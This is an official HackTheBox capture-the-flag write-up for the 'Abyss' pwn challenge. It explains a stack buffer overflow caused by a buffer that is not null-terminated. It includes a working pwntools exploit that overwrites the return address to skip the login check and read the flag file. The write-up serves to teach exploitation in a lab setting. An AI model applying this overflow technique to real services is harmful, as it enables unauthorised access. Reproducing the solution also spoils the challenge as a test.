



HACKTHEBOX



Abyss

16th May 2024 / Document No. D24.102.117

Prepared By: `ryaagard`

Challenge Author(s): `ryaagard`

Difficulty: **Easy**

Classification: Official

Synopsis

- Abyss is an Easy pwn challenge that involves exploiting a custom binary via stack overflow. The vulnerable function will not null-terminate the string buffer, which later results in it copying more bytes than the destination buffer is designed to hold, overflowing the stack.

Skills Required

- Low level understanding of programs and memory

Skills Learned

- Basic exploitation of stack based buffer overflows

Enumeration

The challenge source code is fairly simple; We have two different commands, LOGIN and READ.

READ will open the filename provided by the user and write its contents back on the opened socket, but the user has to be logged in before being able to call this command. Valid username and password are located in `.creds` file and both are randomly generated as we can see within the `Dockerfile`:

```
[...]  
RUN echo $(tr -dc A-Za-z0-9 </dev/urandom | head -c 15):$(tr -dc A-Za-z0-9 </dev/urandom |  
head -c 15) > .creds  
[...]
```

This means that we will not know the username and the password on the remote server instance and bruteforce is not feasible as they are both 15 bytes long.

LOGIN expects an ftp-type command for both the username and password (ie. `USER some_username`, `PASS some_password`). It will read the two commands into an intermediate buffer of size 512. It then copies the username part of the command into a `user` buffer on the stack of the same size, and then does the same with the password part.

The copying method is the same as `strcpy`: it will copy `buf + strlen("USER ")` into the `user` buffer. Now, as `buf` is not null-terminated, if we fill all 512 bytes it will go out-of-bounds on both the `buf` and `user` (and/or `pass`) buffer.

If the stack layout works in our favor, meaning that either `user` or `pass` buffers are immediately after the end of `buf`, we can control what we write out of bounds on the stack. We can see that that is the case, as the stack layout looks like the following:

```
[ buf ][ user ][ pass ][ return address ]
```

So when the challenge binary is reading the password from the user and we send 512 bytes to fill `buf`, it will start copying bytes from `user` at offset 5 out-of-bounds of the `pass` buffer, overwriting the return address.

After we have control over the return address and there is no PIE the next step is simple, we just make it jump to `cmd_read()` function, but we need to skip the instructions at the beginning that check if the user is logged in.

Solution

We'll begin by setting up our exploit with `pwntools`:

```
#!/usr/bin/env python3  
from pwn import *  
  
binary = "../challenge/chal"  
elf = context.binary = ELF(binary)  
  
# p = elf.process()  
p = remote("localhost", 1337)
```

We can then send our payload and read the flag:

```
p.send(p32(0))
p.recvrepeat(1)

p.send(b"USER " + b"AAAAAAAABBBBBBBC\x1cDDDDDEEEEE" + p32(0x00000000004014eb))
p.recvrepeat(1)
p.send(b"PASS " + b"D" * (512 - 5))
p.recvrepeat(1)

p.send(b"/app/flag.txt")

p.interactive()
```